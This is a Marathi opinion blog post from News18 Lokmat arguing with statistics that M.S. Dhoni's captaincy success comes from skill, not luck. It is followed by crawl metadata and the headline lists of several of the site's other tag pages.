हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nधोणी लकी आहे का\nPosted by -संदीप चव्हाण, डेप्युटी न्यूज एडिटर, IBN लोकमत\nभारतानं चॅम्पियन्स ट्रॉफी जिंकल्यानंतर एकहाती भारताला विंडीज आणि श्रीलंकेचा समावेश असलेली ट्राय सीरिजही जिंकून दिली. शेवटचा बॅट्समन ईशांत शर्माला घेऊन धोणीनं फायनल मॅच जिंकून दिली, तीही शेवटच्या ओव्हरमध्ये 17 रन्स काढत. आणि तेही कुणाविरुद्ध तर त्या फायनलमध्ये सर्वाधिक धोकादायक बॉलर ठरलेल्या हेरंगाविरुद्ध. या सगळ्या विजयानंतर क्रिकेट कट्ट्यावर पहिली प्रतिक्रिया उमटली होती ती म्हणजे धोणी काय नशीब घेऊन जन्माला आलाय खरंच धोणी नशीबवान आहे का खरंच धोणी नशीबवान आहे का या प्रश्नाचं उत्तर माझ्यापुरता तरी मी नाही असंच देईन.\nकारण त्याला नशीबवान ठरवून आपण त्याच्या कर्तृत्वावर अन्याय करतोय. त्याला नशीबवान म्हणण्याचा अर्थ असा की धोणीच्या जागी इतर कुणीही कॅप्टन असता तरी त्यानं असाच विजय मिळविला असता आणि या प्रश्नाचं उत्तर लगोलग विंडीजमधील ट्राय सीरिजमध्ये मिळालं. ज्या विंडीज आणि श्रीलंकेच्या टीमना हरवून आपण आठवड्याभरापूर्वी चॅम्पियन ट्रॉफी जिंकली त्याच या दोन टीमविरुद्ध आपण सपाटून मार खाल्ला. कारण एकच या दोन्ही टीममध्ये धोणी नव्हता. मी एवढंच म्हणेन की धोणी नशीबवान नाहीय पण धोणी भारतीय टीमसाठी मात्र लकी ठरलाय. मी अगदी आकडेवारी देऊन हे सांगतोय. तो मिडास राजा जसा हात लावेल त्याचं सोनं करायचा तसं धोणीकडे कोणतीली टीम द्या तो त्या टीमचं सोनं करून देतोय. म्हणून लकी धोणी नव्हे तर भारतीय टीम आहे कारण त्या टीमकडे धोणी आहे.\nसुरुवात साध्या उदाहरणापासून करुया... भारतीय टीमला अगदी अलीकडच्या काळात म्हणजे आयसीसीची क्रमवारी सुरू झाल्यापासूनचा काळ पकडला तर अझर, सचिन, गांगुली, द्रविड, कुंबळे आदी दिग्गज खेळाडूंनी नेतृत्व दिलं पण या सगळ्या कॅप्टन्सच्या नेतृत्वाखाली भारतीय टीमचं वन डे आणि टेस्टमधील आयसीसीतील सर्वाेत्तम मानांकन होतं नंबर तीन. धोणीकडे भारतीय टीमचं नेतृत्व सोपवलं गेलं आणि आपण लगोलग झेप झेतली नंबर दोनवर आणि त्यानंतर धोणीनं भारतीय टीमला एकामागोमाग एक अविश्वसनीय विजय मिळवून देत वन डे आणि टेस्ट मानांकनातही नंबर एकच स्थान मिळवून दिलं.\nधोणीनं भारताला टी-20चा वर्ल्ड कप जिंकून दिला, वन डेचा वर्ल्ड कप जिंकून दिला, चॅम्पियन कप जिंकून दिला, आशियाई कप जिंकून दिला. क्रिकेट जगतात जे जे सर्वाेत्तम ते ते धोणीनं भारताला जिंकून दिलं. आयसीसीच्या सगळ्या मानाच्या ट्रॉफीज धोणीनं जिंकल्या. आजवर जगातील कोणत्याही कॅप्टनला हे जमलेलं नाही आणि यापुढेही जमणार नाही.\nजगात दोन प्रकारची माणसं असतात. एक नशिबाला दुषणं देऊन आपलं अपयश झाकू पाहणारी आणि दुसरी आपल्या कर्तृत्वाच्या जोरावर नशिबाला आपली गुलाम करणारी. धोणी हा दुसर्‍या गटातील माणूस आहे. साधं उदाहरण घ्या. टी 20 वर्ल्ड कपला भारतीय क्रिकेट बोर्डाचा प्रचंड विरोध होता. या क्रीडा प्रकारास मान्यता देणारा भारत हा सर्वात शेवटचा देश होता. साहजिकच दक्षिण आफ्रिकेतली पहिल्या टी 20 वर्ल्ड कपसाठी भारतानं दुय्यम दर्जाचा संघ निवडला होता आणि त्याचं नेतृत्व सोपवलं होतं महेंद्रसिंग धोणीकडे. ही स्पर्धा 13 सप्टेंबर 2007 रोजी दक्षिण आफ्रिकेत होणार होती. आणि 7 सप्टेंबर 2007 रोजी भारतीय टीम इंग्लंडमध्ये आपली शेवटची सातवी वन डे द्रविडच्या नेतृत्वाखाली खेळत होती. भारतानं ही वन डे 4-3 अशी गमावली.\nया टीममध्ये खेळत असणार्‍या सचिन, द्रविड आणि गांगुलीला विश्रांती देण्यात आली. या टी 20 वर्ल्ड कपपूर्वी कुणी जोगिंदर शर्माचं नाव तरी ऐकलं होतं का कसं ऐकणार कारण त्यापूर्वी जोगिंदरची कामगिरी होती बांगलादेशविरुद्धच्या चार मॅचमध्ये 35 रन्स आणि अवघी एक विकेट. पण याच जोगिंदरच्या हाती धोणीनं टी 20 वर्ल्ड कपच्या पाकिस्तानविरुद्धच्या फायनलमधील ती शेवटची ओव्हर दिली आणि जोगिंदरनं पाकिस्तानची शेवटची विकेट घेत तो वर्ल्ड कप भारताला जिंकून दिला. तुम्हाला माहिती आहे का, भारतासाठी लाखमोलाची ती शेवटची ओव्हर जोगिंदरच्या क्रिकेट करियरमधीलही शेवटची ओव्हर ठरली. त्यानंतर जोगिंदर कुठेच दिसला नाही की कोणत्याही टीममध्ये निवडलाही गेला नाही. जणू काही त्या वर्ल्ड कपसाठी धोणीनं त्याला घडवला होता आणि धोणीच्या याच जादुई कामगिरीमुळे भारत वर्ल्ड चॅम्पियन बनला.\nधोणीनं केवळ चांगल्या खेळाडूंच्या जीवावर यश मिळवलं असं नाही तर त्या यशात त्याचाही सिंहाचा वाटा आहे. श्रीलंकेविरुद्धची वन डेची फायनल आठवतेय ना भारत धावांचा पाठलाग करत असताना सेहवाग पहिल्या ओव्हरमध्ये शून्यावर आऊट झाला होता. त्यानंतर सचिनही 8 रन्स काढून आऊट झाला. त्या स्पर्धेत युवराज तुफान फॉर्मात होता. तरीही धोणी त्याच्याआधी फायनलला बॅटिंगला आला आणि तुफानी नाबाद 91 रन्सची विजयी खेळी केली. श्रीलंकेच्या कुलशेखराला शेवटच्या ओव्हरमध्ये खणखणीत सिक्सर ठोकत धोणीनं वन डेच्या वर्ल्ड कपवर भारताचे नाव कोरले होते. साधारणत: भारताच्या क्रिकेट इतिहासावर नजर टाकली की एखाद्या खेळाडूला कॅप्टन केलं की त्याचा कामगिरीवर परिणाम व्हायचा. बॅट्समन असेल तर रन्स व्हायच्या नाहीत, बॉलर असेल तर विकेट मिळायच्या नाहीत.\nपण धोणीचं नेमकं उलटं. तो कॅप्टन होण्याआधी त्याचा टेस्टमधील रन ऍव्हरेज होता 33 आणि कॅप्टन झाल्यावर 56 आणि हेच वनडेतही कॅप्टन होण्याआधी 44 आणि कॅप्टन झाल्यानंतर 56. इतकंच काय बरेच आठवडे तो आयसीसीच्या वन डे बॅटिंग क्रमवारीत नंबर एकच्या क्रमांकावर विक्रमी आठवडे तो होता. बॅटिंगसोबतच त्याचं विकेट किपिंगही दृष्ट लागण्यासारखं होतं. एक परिपूर्ण क्रिकेटर आणि परिपूर्ण कॅप्टन. अर्थात सगळं काही चागलंच झालं असं नाही. इंग्लंड आणि ऑस्ट्रेलियात सलग 8 टेस्ट आपण हरलो. पण म्हणतात ना दृष्ट लागण्यासाठी तीट असतो तसं होतं. त्यानंतर मायदेशी आलेल्या ऑस्ट्रेलियाला भारतानं 4-0 असा व्हाईटवॉश दिला. ऑस्ट्रेलियाला व्हाईटवॉश देणारा दक्षिण आफ्रिका आणि पाकिस्ताननंतर भारत हा तिसरा देश ठरलाय.\nइतकंच कशाला धोणीनं कॅप्टन्सी स्वीकारल्यानंतर ऑस्ट्रेलियानं भारतात एकूण 8 मॅच खेळल्यात. आणि या आठही मॅच भारतानं जिंकल्यात. त्याही सलग. लक्षात घ्या एकही मॅच ड्रॉ नाही की पराभव नाही. फक्त आणि फक्त विजय. तेही कुणाविरुद्ध तर टेस्ट क्रमवारीत नंबर एक असणार्‍या ऑस्ट्रेलियाविरुद्ध. जगातील कोणत्याच कॅप्टनला इतकी शंभर टक्के विजयी कामगिरी करता आलेली नाही. याला तुम्ही नशीब म्हणाल का ऑस्ट्रेलियाविरुद्ध सर्वाधिक विजय मिळविणार्‍या कॅप्टन्सच्या यादीत पहिल्या क्रमांकावर आहे 12 विजयासह विंडीजचे क्लाईव्ह लॉईड. दुसर्‍या क्रमांकावर आहे ते 11 विजयासह इंग्लंडचे माईक बेअर्ली आणि तिसर्‍या क्रमांकावर प्रत्येकी 8 विजयासह आहेत डब्ल्यू. जी. ग्रेस आणि महेंद्रसिंग धोणी. धोणीचा विजयी धडाका पाहता लॉईड यांचा विक्रम नक्कीच धोक्यात आहे.\nबरं केवळ या आकड्यांवर जाऊ नका. जेव्हा संधी मिळाली तेव्हा तेव्हा धोणीनं आपल्यातील जादुई करिश्मा दाखविला. मला आठवतंय 2008 मध्ये जेव्हा तो कॅप्टन नव्हता तेव्हा दोनदा मॅचच्या आधी फक्त अर्धातास आधी त्याला सांगण्यात आलं की तुला कॅप्टन्सी करायचीय. आणि त्या दोन्ही वेळा हंगामी कॅप्टन म्हणून तो मैदानावर उतरला आणि त्यानं टीमला चक्क जिंकून दिलं. आणि त्या दोन टीम होत्या दक्षिण आफ्रिका आणि इंग्लंड. माणूस म्हणूनही धोणी महान आहे. म्हणूनच त्याला टीम मॅन म्हणतात. साधं उदाहरण घ्या. ऑस्ट्रेलियाविरुद्धच्या सीरिजमध्ये कॅप्टन अनिल कुंबळे जखमी झाल्यानंतर धोणीकडे दौर्‍यादरम्यान कॅप्टन्सी सोपविण्यात आलीय धोणीनं आपल्या जादुई करिष्म्यानं दोन टेस्ट जिंकत भारताला ती सीरिज 2-0 अशी जिंकून दिली. सीरिजची ट्रॉफी देण्यासाठी जेव्हा धोणीला स्टेजवर बोलाविण्यात आलं तेव्हा त्यानं स्वत:हून अनिल कुंबळेला स्टेजवर बोलावलं. आयोजकांनाही जिथे कुंबळेचा विसर पडला होता तिथे धोणीतला टीम मॅन मात्र जागा होता. टी 20 असो अथवा वन डे वर्ल्ड कप, विजेतेपदानंतर जल्लोषात तुम्ही कधी धोणीला पुढेपुढे पाहिलंय का ट्रॉफी उचलल्यानंतर ती संघसहकार्‍यांकडे सोपवून हे महाशय आनंद शेअर करत असतात.\nकेवळ आनंदातच नाही तर पराभवातही तो टीममॅन असतो. आयपीएलच्या पहिल्या हंगामात चेन्नईची टीम अटीतटीच्या मॅचमध्ये फायनल हरली होती. हातातोंडाशी आलेला विजयी घास गेल्यानंतर दुसरा-तिसरा कॅप्टन असता तर त्यानं आकांडतांडव केला असता, पण अवघ्या क्रिकेट जगतानं पाहिलं त्या पराभवानंतरही धोणीनं आपल्या चेन्नईच्या टीमसोबत भर मैदानात हर्डल केलं. पराभवातही मी तुमच्या पाठीशी आहे हेच जणू त्याला सांगायचं होतं. झालं त्यानंतर दोन वेळा त्याच्या टीमनं धोणीला आयपीएलचं विजेतेपद जिंकून दिलं.\nधोणीनं भारतीय क्रिकेटला जर काय दिलं असेल तर तो म्हणजे जिंकण्याचा विश्वास, मी जिंकू शकतो, आपण जिंकू शकतो, भारत जिंकू शकतो हे धोणीनं कृतीतून दाखवून दिलं. धोणीच्या हातात जादू आहे. जिंकण्याची जादू. टीम कोणतीही असो, टीमचा कॅप्टन धोणी असला की ती टीम जिंकलीच पाहिजे. याच कामगिरीच्या जोरावर धोणी सर्वकालिक सर्वश्रेष्ठ कॅप्टनच्या दिशेनं वाटचाल करतोय. क्रिकेटसाठी जर कुणाला 'भारतरत्न' द्यायचं झालं तर भारताला दोन वर्ल्ड कप, चॅम्पियन्स ट्रॉफी, आशियाई कप जिंकून देणार्‍या धोणीला दिलं गेलं पाहिजे आणि हो वैयक्तिक वर्ल्ड रेकॉर्ड करणार्‍या सचिनच्याही आधी बरं का\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: mahendra sing dhoniचॅम्पियन्स ट्रॉफीधोणीमहेंद्रसिंग धोणी\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nजे.जे होईल ते ते (फक्त) पहावे\nबेपर्वाईचे आणखी किती बळी\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00334.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/aurangabad/news/", "date_download": "2018-09-25T16:48:56Z", "digest": "sha1:YNUKE6ASG4Q6GF5SZ3EIECMV5IZHPDNG", "length": 12153, "nlines": 144, "source_domain": "lokmat.news18.com", "title": "Aurangabad- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nसोशल मीडियातून अनिष्ट प्रथांवर टीका करणं गुन्हा नाही -औरंगाबाद खंडपीठाचा निर्णय\nआपल्याच धर्मातील अनिष्ट रूढी, प्रथा, पंरपरा आणि अंधश्रद्धांवर सोशल मीडियातून टीका करणं हा गुन्हा नाही असा महत्वाचा निकाल मुंबई उच्च न्यायालयाच्या औरंगाबाद खंडपीठाने दिला आहे.\nआता या कारणामुळे पुन्हा चर्चेत आली औरंगाबाद महापालिका\nऔरंगाबादच्या उपमहापौरांनी जीवे मारण्याचा केला प्रयत्न,अभियंताचा आरोप\nबापाच्या डोक्यात वरवंटा घालणाऱ्या मुलास न्यायालयाने दिली ही शिक्षा\nसुपारी किलर इम्रान मेहंदी कोर्टातून जाणार होता पळून, पोलिसांनी उधळला डाव\nऔरंगाबादेत अवयवदानाचा 'यज्ञ'; 21 जणांना मिळालं जीवदान\nस्कुल बसचालकाने चिमुरड्याच्या पायावरून घातली बस, विद्यार्थ्यावर पाय गमावण्याची वेळ \nऔरंगाबादेत गुप्तधनासाठी बालिकेची नग्न पूजा करून देणार होते बळी, पण...\nगावगुंडांच्या त्रासाला कंटाळून आणखी एका विद्यार्थिनीने संपवली जीवनयात्रा\nटवाळखोरांच्या त्रासाला कंटाळून अल्पवयीन मुलीने शेतातच लावून घेतला गळफास\nएमआयएमच्या नगरसेवकाला मारहाण प्रकरणी भाजपच्या नगरसेवकांना अटक\nएमआयएमच्या नगरसेवकाला मारहाण प्रकरणी भाजपचे नेते पोलिसांच्या ताब्यात\nवाजपेयींच्या शोकप्रस्तावाला विरोध करणाऱ्या एमआयएम नगरसेवकाला अटक\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00334.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/pune-2/videos/page-5/", "date_download": "2018-09-25T16:49:23Z", "digest": "sha1:M2B2RENP4GM7K2RYOZQHOHG4W3JCOUI4", "length": 10386, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "Pune 2- News18 Lokmat Official Website Page-5", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nलावणीचा तडका, कलाकारांचा ठेका\nपुणेकरांचा क्रिकेटचा उत्साह शिगेला\nपुण्यात भाज्या उपलब्ध, पण भाव वाढलेले\nIPL फायनलचा 'सिंघम' व्हिडिओ\nविनोद तावडेंना पालकांचा घेराव\n'हुंडा घेणार नाही, हुंडा देणार नाही'\n'पुण्याचे महापौर आणि पालकमंत्री असंवेदनशील'\nपुण्यातील या भागात झालीये कचरा कोंडी\nफुरसुंगी ग्रामस्थांचे 'कपडे काढा' आंदोलन\n'वक्तव्याचा विपर्यास केला गेला'\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00334.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/subodh-bhave/news/", "date_download": "2018-09-25T16:49:12Z", "digest": "sha1:AJUUUSOO5W7G6WI5R776C6V642LDXOKM", "length": 11291, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "Subodh Bhave- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nसुबोध भावेनं सांगितलं त्याच्या 